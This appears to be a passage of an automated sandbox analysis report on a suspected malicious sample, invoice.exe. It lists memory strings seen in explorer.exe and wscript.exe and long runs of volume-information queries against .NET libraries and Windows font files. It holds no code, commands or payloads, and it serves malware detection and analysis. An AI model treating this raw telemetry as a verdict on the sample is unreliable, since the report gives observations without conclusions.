Source: explorer.exe, 00000004.00000002.491483323.0000000001640000.00000002.00000001.sdmp, wscript.exe, 00000009.00000002.490705196.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.491483323.0000000001640000.00000002.00000001.sdmp, wscript.exe, 00000009.00000002.490705196.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000004.00000000.246523611.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000004.00000002.491483323.0000000001640000.00000002.00000001.sdmp, wscript.exe, 00000009.00000002.490705196.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000004.00000002.491483323.0000000001640000.00000002.00000001.sdmp, wscript.exe, 00000009.00000002.490705196.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Users\user\Desktop\invoice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
